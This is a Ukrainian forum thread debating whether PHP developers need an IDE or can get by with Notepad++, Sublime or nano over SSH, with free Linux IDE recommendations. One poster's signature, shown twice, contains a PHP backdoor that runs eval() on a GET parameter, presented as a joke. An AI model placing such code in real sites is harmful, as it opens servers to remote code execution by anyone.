1

Тема: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Хто думає що можливо розробляти щось серйозне на РНР не використовуючи IDE ?

п.с. Можливо народ мігрує сюди з цієї теми http://replace.org.ua/post/54673/#p54673 і ми будемо мати більш тематично розкидані пости)

2

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Чому завжди люди хочуть використовувати інструменти не по призначенню? Ну можна ж комп'ютером цвяхи забивати. (Це був ліричний відступ)
ІМХО. IDE для проекту, а notepad++ (SublimeText) для швидкого підредагування (чого-небудь), причому суть останнього інструмента в тому, що як раз можна будь-що швидко підредагувати, вихідні тексти проджекту, або файли конфігурації, або взагалі щось ліве.
Я завжди використовую обидва ці інструменти в парі.

x

3

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

А що потрібно від IDE?  Що має входити до складу IDE? Які можливості вона повинна мати? Можна обвішати якйись текстовий редактро додатками (якщо він це підтримує) і отримати якусь IDE.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Invader написав:

А що потрібно від IDE?  Що має входити до складу IDE? Які можливості вона повинна мати? Можна обвішати якйись текстовий редактро додатками (якщо він це підтримує) і отримати якусь IDE.


Що потрібно від IDE  уже  вирiшили i  реалiзували тi  хто  цю IDE  написав.   I можливості  в нiй  саме  такi  що  потрiбно  для   програмування.   
   Навiщо такi  безглуздi  питання.

Путлер капут!
Подякували: DOP1

5

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Якщо розробники IDE заклали туди якийсь функціонал, яким користувач не користується, то чи є різниця, є цей функціонал чи нема? З потужностей IDE на практиці часто застосовуються лише окремі фічі, решта просто додає програмі «навороченості».

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

6

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

caballero, дуже зручна відповідь з якої випливає що IDE це програма яку хтось написав і яку цей хтось назвав IDE (а також те що поняття IDE визначає сам виробник програмного продукту).

I можливості  в нiй  саме  такi  що  потрiбно  для   програмування.

Посміявся. Без IDE ніякого програмування не існує.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

7

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

P.Y. написав:

Якщо розробники IDE заклали туди якийсь функціонал, яким користувач не користується, то чи є різниця, є цей функціонал чи нема? З потужностей IDE на практиці часто застосовуються лише окремі фічі, решта просто додає програмі «навороченості».

    Користувачiв  багато,  однi коистуются  одними  фiчами  iншi  iншими.    Те  що  ви не вмiєте ефективно  використовувати  iнструмент  не  означає  що  там  щось  зайве

Путлер капут!

8

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Invader написав:

caballero, дуже зручна відповідь з якої випливає що IDE це програма яку хтось написав і яку цей хтось назвав IDE (а також те що поняття IDE визначає сам виробник програмного продукту).

    Ви не   повiрите  але  IDE  - це  i  є  програма  яку  хтось написав.   I назавається   вона  так  вiдповiдно  до  свого  призначення.

Посміявся. Без IDE ніякого програмування не існує.

  взагалi то  програмування iснує  навiть  без  компьютерiв.
 
  Що  ви  хочете  довести?  Подобаєтся програмувати  в  блокнотi - якi проблеми?
  Нормальнi люди  використовують iнструменти  що  роблять  роботу  бiльш  ефективною.
  Наприклад  використовують  дебагери  а  не  виводять  дiагностичнi повiдомлення  через  echo.

Путлер капут!

9

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Для мене також дивно що використовують інструменти не по призначенню, але скажу за себе одну фішку. Наприклад у мене налаштований phpstorm так, що дуже зручно все робити (особисто мені)
Навіть редагувати один файл або писати текст мені набагато зручніше ніж в інших, так як всі хоткеї, логіка і привичка уже сформовані. Так я деколи користуюсь sublime і стараюсь тримати схожі команди на однакових хоткеях, але це не завжди вдається.

Для мене існує загадка: навіщо в проектах юзати notepad.
Або навіть не так: Як у проектах можна юзати notepad???
Рефакторінг, темплейти, хоткеї, і ще тонна фішок без яких ефективна робота просто не можлива.

Тому для важливо не те скільки людина отримує і у якому редакторі вона працює, а скільки часу треба на розробку/зміну певних фішок)

Якщо розробники IDE заклали туди якийсь функціонал, яким користувач не користується, то чи є різниця, є цей функціонал чи нема? З потужностей IDE на практиці часто застосовуються лише окремі фічі, решта просто додає програмі «навороченості».

Навороченості?? Нафіга у ide додавати навороченості якщо функціонал ніхто не буде юзати. Треба вивчати всі можливості IDE =)

10 Востаннє редагувалося TwiStar (14.04.2015 10:32:40)

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Для мене існує загадка: навіщо в проектах юзати notepad.
Або навіть не так: Як у проектах можна юзати notepad???
Рефакторінг, темплейти, хоткеї, і ще тонна фішок без яких ефективна робота просто не можлива.

В мене є таке зауваження. На превеликий жаль, багато пхп розробників є новачками. Причому це стосується всього. Який рефакторинг? Які темплейти? Про що ви кажете, взагалі? Ви б ще юніт-тести згадали.
Такий стан разуму ще досі залишається основою ідеології ПХП - навіщо проектувати архітектуру проекту, вивчати для цього ООП та його паттерни, якщо можна весь проект вмістити в десяток файлів на декілька сот строк кожен, і все буде якось-там працювати. Так і з IDE - звичайно, що будь-який розробник, який цінує свій час, буде намагатися використовувати його якомога ефективніше, і тут IDE творить чудеса. Я сам використовую PHPStorm, користуюсь багатьма його фічами, і бачу, як вони прискорюють, але я пам'ятаю ті часи, коли я був дурний, і вважав що це все нікому не потрібні навороти, і що EditPad з підсвіткою синтаксису - це все, що мені потрібно для написання коду.

До речі, запитання, яким людина користується IDE є одним із перших, що я задаю, коли проводжу співбесіду. Відповідь - Notepad++ - це майже вирок. Sublime - то наступним запитанням буде - а які плагіни до нього?

Та і на останок зауважу, що це питання не тільки PHP, але більшості мов.

Подякували: Анатолій1

11

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

а безкоштовне яке порекомендуєте? бажано під лінукс

12

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Громіздкі IDE які сканують весь проект добре використовувати коли у тебе всі ресурси на локальному компютері. Більшість хотфіксів роблю звичайним nano через ssh  на сервері.

13

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Громіздкі IDE які сканують весь проект добре використовувати коли у тебе всі ресурси на локальному компютері. Більшість хотфіксів роблю звичайним nano через ssh  на сервері.

ви юзаєте нано не тому що у вас проект на віддаленому сервері, а тому що у вас простий проект ;)
У будь якому проджекті можна робити хотфікс, але історія, тести, цей же вищевказаний рефакторін ви не зможете все зробити через nano/vim

Хоча для всяких штук типу правка файлів на серваку ці редактори в сам раз)


а безкоштовне яке порекомендуєте? бажано під лінукс

netbeans, phpstorm eap

Подякували: Djalin1

14

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

NetBeans - є в репозиторіях :)

15

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

funivan, Хіба PhpStorm є безкоштовна?

x

16

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

Vo_Vik написав:

Громіздкі IDE які сканують весь проект добре використовувати коли у тебе всі ресурси на локальному компютері. Більшість хотфіксів роблю звичайним nano через ssh  на сервері.

Є у мене така прикмета: "Робити хотфікси на продакшн-сервері напряму - до скорого звільнення". Тобто так, я можу зайти по SSH та виправити якусь дрібну помилку, але якщо фікс потребує виправлення більше одного рядку тексту, то правити "наживу" - самогубство.

До того ж той самий ПХПШторм вміє підключатися через SFTP, та має декілька варіантів деплою - автоматична заливка файлів на обраний сервер при зміні (використовую на тестовому сервері), заливка змінених файлів при пуші до системи контролю версій (іноді використовую на продакшні на проектах, де не налаштований Continuous Integration, та у ролі тестера виступаю я сам). Наскільки я знаю, Netbeans теж вміє щось подібне. Ба, навіть Sublime має плагіни під такі задачі, тому такі IDE зручно використовувати і для дрібних фіксів.

На тему безкоштовних IDE під Linux - у вікіпедії є стаття-порівняння IDE, які працюють з ПХП. Список досить великий - є з чого вибрати.

17

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

funivan, Хіба PhpStorm є безкоштовна?

EAP версії мають ліцензію на 30 днів безкоштовно. Але досвід показує що EAP версії під час розробки протягом 7-8 місяців випускають часто і відповідно продовжується ліцензія.

18

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

TwiStar написав:

Є у мене така прикмета: "Робити хотфікси на продакшн-сервері напряму - до скорого звільнення". Тобто так, я можу зайти по SSH та виправити якусь дрібну помилку, але якщо фікс потребує виправлення більше одного рядку тексту, то правити "наживу" - самогубство.

Саме так, десь хтось забув поставити крапку з комою, десь одинарне дорівнює замість подвійного... Тесь в echo синтаксична помилка, десь конфіги треба поправити.

а тому що у вас простий проект

1,538 commits / 364,098 ++ / 223,334 --
це тільки мої правки з гітхабу. Всього на проекті зараз 8 девелоперів.

19

Re: Чому IDE є важливі у мові РНР або notepad++ vs IDE

1,538 commits / 364,098 ++ / 223,334 --
це тільки мої правки з гітхабу. Всього на проекті зараз 8 девелоперів.

1538 це малувато (особисто для мене)
А тести як запускаєте?

p.s. У вас проджект закритий я так розумію? якщо відкритий дайте посилання ;)